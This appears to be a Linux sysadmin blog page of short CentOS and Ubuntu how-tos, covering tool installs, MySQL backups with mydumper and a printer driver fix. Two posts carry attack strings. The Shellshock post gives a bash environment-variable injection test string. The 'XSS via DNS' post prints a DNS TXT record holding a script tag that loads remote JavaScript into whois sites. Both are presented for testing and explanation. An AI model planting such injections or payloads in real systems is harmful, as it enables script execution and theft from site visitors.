Skip to content



CentOS – setup utility

For RH based distros, the “setup” utility is a must. With this tool you can easily maintain basic system settings (firewall settings, network, start-up services, etc).

If you choose to install minimum system, this tool won’t be available and you’ll need to add it manually.

yum –y install setuptool system-config-network* system-config-firewall* system-config-securitylevel-tui system-config-keyboard ntsysv

Posted in CentOS, Other, Server project.


SSH2 extension for PHP on CentOS 6

Before we can build and install ssh2 extension, we’ll need a few packages

yum install gcc php-devel php-pear libssh2 libssh2-devel make

Install the extension via pecl

pecl install -f ssh2

On CentOS, PHP will not load extension automatically. To “fix” this, create ssh2.ini file inside /etc/php.d/ and add

extension=ssh2.so

inside.

Restart apache (service httpd restart) and test PHP with

php -m | grep ssh2

As response, you should get ssh2.

Posted in CentOS, PHP.


MyDumper – CentOS HowTo

Mydumper – MySQL backup tool created by Domas Mituzas and later supported by several other devs.

The main benefits are multi-threaded and fast backups with almost no locking (if not using non innodb tables), built-in compression, separate files for each table, making it easy to restore single tables or schema. It also has support to hard link files which can reduce the space needed for history of backups. Much faster than mysqldump. The main benefit for separate files is the ability to create backups in multiple threads (the same works for restoring process)

In short – Mydumper is how MySQL DBA and support engineer would imagine mysqldump.

To install mydumper follow the next steps

Install necessary devel libs and cmake

yum install glib2-devel mysql-devel zlib-devel pcre-devel openssl-devel cmake

Download mydumper – https://launchpad.net/mydumper (or directly here https://launchpad.net/mydumper/0.6/0.6.2/+download/mydumper-0.6.2.tar.gz)

Extract the tar.gz archive with

tar -xvzf mydumper-0.6.2.tar.gz
cd mydumper-0.6.2
cmake .
make

Creating backup

mydumper -u USER -p PASSWORD -o /home/DESTINATION_DIR/DATABASE/ -B DATABASE

Note: My advice is to create separate dir for every database.

Restore from backup

myloader -u USER -p PASSWORD -B DATABASE -d /home/SOURCE_DIR/DATABASE/

Posted in CentOS, MySQL, Server project.


New server

From today I’m on the new server and I desire you won’t detect any troubles.

Posted in Other.


Extract multiple 7z files in folder (at once)

To extract multiple 7z files at once, use the next script

for fileToExtract in *.7z
do
  7z x "$fileToExtract"
done

Remember, x option means extract files with full paths.

Posted in Tips & Tricks.


GNU bash Environment Variable Command Injection

You can test your server for bash command injection with

[root@ss ~]# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Update bash with

# yum -y update bash

and you’ll get

[root@ss ~]# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Posted in CentOS.


XSS via DNS

XSS (Cross-Site Scripting) attack is a type of injection, in which malicious scripts are injected into trusted web sites. Your browser has no way to know that the script should not be trusted, and will execute the script. In this case, the script can access any cookies, session tokens, or other sensitive information which can be passed to the attacker.

The golden rule “Do not trust user input” seems forgotten in some cases. The guy succeeded to inject malicious script via TXT record on his domain and the script is promptly executed when you check his domain via Whois services.

The vulnerable sites:

http://who.is/

http://mxtoolbox.com/

http://dig.whois.com.au/

Some of them are already patched but the taste remains :)

The ycombinator discussion: https://news.ycombinator.com/item?id=8336025

The exact TXT content:

comp@comp ~ $ dig txt jamiehankins.co.uk
 
; <<>> DiG 9.9.5-3-Ubuntu <<>> txt jamiehankins.co.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24931
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 2, ADDITIONAL: 3
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;jamiehankins.co.uk.		IN	TXT
 
;; ANSWER SECTION:
jamiehankins.co.uk.	300	IN	TXT	"google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI"
jamiehankins.co.uk.	300	IN	TXT	"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"
jamiehankins.co.uk.	300	IN	TXT	"v=spf1 include:spf.mandrillapp.com ?all"
jamiehankins.co.uk.	300	IN	TXT	"<script src='//peniscorp.com/topkek.js'></script>"
 
;; AUTHORITY SECTION:
jamiehankins.co.uk.	172800	IN	NS	hank.ns.cloudflare.com.
jamiehankins.co.uk.	172800	IN	NS	lucy.ns.cloudflare.com.
 
;; ADDITIONAL SECTION:
hank.ns.cloudflare.com.	11832	IN	A	173.245.59.116
hank.ns.cloudflare.com.	11832	IN	AAAA	2400:cb00:2049:1::adf5:3b74
 
;; Query time: 81 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Thu Sep 18 23:21:30 CEST 2014
;; MSG SIZE  rcvd: 481

Posted in DNS, Humor.


AN!Cluster Tutorial

Today I found something very interesting (and large)

https://alteeve.ca/w/AN!Cluster_Tutorial_2

p.s. Please do not bother me for the next 30 days :)

Posted in CentOS.


Samsung printer on Linux – rastertosplc – No such file or directory

If you try to install Samsung printer (in my case ML1675) on Ubuntu 14.04 or Mint 17, you’ll may have some problems with missing file – rastertosplc.

If you added printer via web (http://localhost:631/) or via printer wizard, delete installed printer and follow the next instructions

Download drivers from this page: http://www.samsung.com/pk/support/model/ML-1675/XSG-downloads, extract them and install drivers with:

sudo ./install-printer.sh

(follow the wizard to complete process)

cd into /usr/lib/cups/filter and check the existence of rastertosplc file.

If this file doesn’t exist add symbolic link to /opt/smfp-common/printer/bin/rastertospl with

sudo ln -s /opt/smfp-common/printer/bin/rastertospl rastertosplc

after you should have something like

bla@bla-178 /usr/lib/cups/filter $ ls -la
...
lrwxrwxrwx  1 root root     40 Aug 23 13:39 rastertospl -&gt; /opt/smfp-common/printer/bin/rastertospl
lrwxrwxrwx  1 root root     40 Aug 23 13:51 rastertosplc -&gt; /opt/smfp-common/printer/bin/rastertospl
...

The first file is probably created via install script while the second one is “fix” to “File “/usr/lib/cups/filter/rastertosplc” not available: No such file or directory” problem.

After you did this, add printer via wizard and try to print test page.

ml1675

Posted in Mint Linux, Tips & Tricks.


100% true…

Bs5TSJ7CIAAu0Gt

Posted in Humor.